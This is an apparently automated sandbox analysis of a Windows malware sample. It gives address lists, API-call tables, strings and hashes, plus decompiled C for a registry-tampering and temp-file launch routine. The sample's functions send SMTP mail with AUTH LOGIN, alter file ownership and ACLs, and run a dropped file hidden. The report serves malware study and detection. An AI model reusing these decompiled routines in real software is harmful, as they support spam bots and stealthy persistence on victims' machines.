0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

ESMTP, xrefs: 0040AA38
rcpt to:<%s>, xrefs: 0040A855
Incorrect respons, xrefs: 0040AB39
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
mail from:<%s>, xrefs: 0040A848
AUTH LOGIN, xrefs: 0040A80C
localcfg, xrefs: 0040AB0B
helo %s, xrefs: 0040A803
Too big smtp respons (%d bytes), xrefs: 0040A9B1
ehlo %s, xrefs: 0040A7F5
., xrefs: 0040A8CA
quit, xrefs: 0040A86C
data, xrefs: 0040A85E
Too small respons, xrefs: 0040A9C9

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 00547A59, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00547A7F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00547AB6
GetLengthSid.ADVAPI32(?), ref: 00547AC8
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 00547AEA
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00547B08
EqualSid.ADVAPI32(?,?), ref: 00547B22
LocalAlloc.KERNEL32(00000040,00000014), ref: 00547B33
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00547B41
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00547B51
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00547B60
LocalFree.KERNEL32(00000000), ref: 00547B67
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00547B83
GetAce.ADVAPI32(?,?,?), ref: 00547BB3
EqualSid.ADVAPI32(?,?), ref: 00547BDA
DeleteAce.ADVAPI32(?,?), ref: 00547BF3
EqualSid.ADVAPI32(?,?), ref: 00547C15
LocalAlloc.KERNEL32(00000040,00000014), ref: 00547C9A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00547CA8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00547CB9
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00547CC9
LocalFree.KERNEL32(00000000), ref: 00547CD7

Strings

D, xrefs: 00547AAC

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: 35761b97cee3a5d9ce5662941f500bcf6d65b33dcc77a6f71c894a79caf1950c
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: BD812871D0421EABDB218FA4DD84FEEBFB8FB0C344F14806AE505E6150EB759A41CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

localcfg, xrefs: 00408348
PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

~+t`y+tp*t, xrefs: 004019B1
localcfg, xrefs: 004019A3
123.45.67.89, xrefs: 004019A6
GetIfEntry, xrefs: 004019E4
Iphlpapi.dll, xrefs: 004019B7
GetAdaptersInfo, xrefs: 004019DC
GetBestInterface, xrefs: 004019EF

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~+t`y+tp*t
API String ID: 835516345-2032924975
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 00548578, Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 00548643
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 00548664
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 00548691
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 0054869A

Strings

PromptOnSecureDesktop, xrefs: 0054859F, 0054862E, 005486A6, 005486F1, 005487AE, 005487FB, 005488D2, 005488EE
", xrefs: 00548955

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: 2e28eeff3de31eb1f60f7c94bd3bb7901b6b08a6030a8404374eb2f285078933
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: AFC19DB1900249BEEB11ABA4DC89EFE7FBCFB05308F144476F604E2051EBB14E949B65

Uniqueness

Uniqueness Score: -1.00%

Function 00542CB2, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00542CD6
socket.WS2_32(00000002,00000002,00000011), ref: 00542CF0
htons.WS2_32(00000000), ref: 00542D2B
select.WS2_32 ref: 00542D78
recv.WS2_32(?,00000000,00001000,00000000), ref: 00542D9A
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00542E4B

Strings

p*t, xrefs: 00542F17

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID: p*t
API String ID: 127016686-2700130030
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: 99c9d1197bffef46c52d960f1abb211c8ba0de864179e9d4b08e9a03cf58b391
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: DB61CE71908325ABC7209F65DC09BFBBFFCFB88358F404819F98897150D7B598948BA6

Uniqueness

Uniqueness Score: -1.00%

Function 005414D0, Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 005415EA
lstrlenW.KERNEL32(-00000003), ref: 005417C1

Strings

D, xrefs: 00541816
@, xrefs: 005415D0
<, xrefs: 005415C8
, xrefs: 005416B2

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: 93a9f578198383dd7c3d6f982d77ed9d25d1b7d8132d152efaadb24d5fd80865
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: F1F18EB15087419FD720DF64C888BEABBE5FB88308F00892DF59697290D7B49984CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0054764F, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 005476C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 00547740
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 00547778
___ascii_stricmp.LIBCMT ref: 0054789D
RegCloseKey.ADVAPI32(?), ref: 00547937
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00547956
RegCloseKey.ADVAPI32(?), ref: 00547967
RegCloseKey.ADVAPI32(?), ref: 00547995
RegCloseKey.ADVAPI32(?), ref: 00547A3F

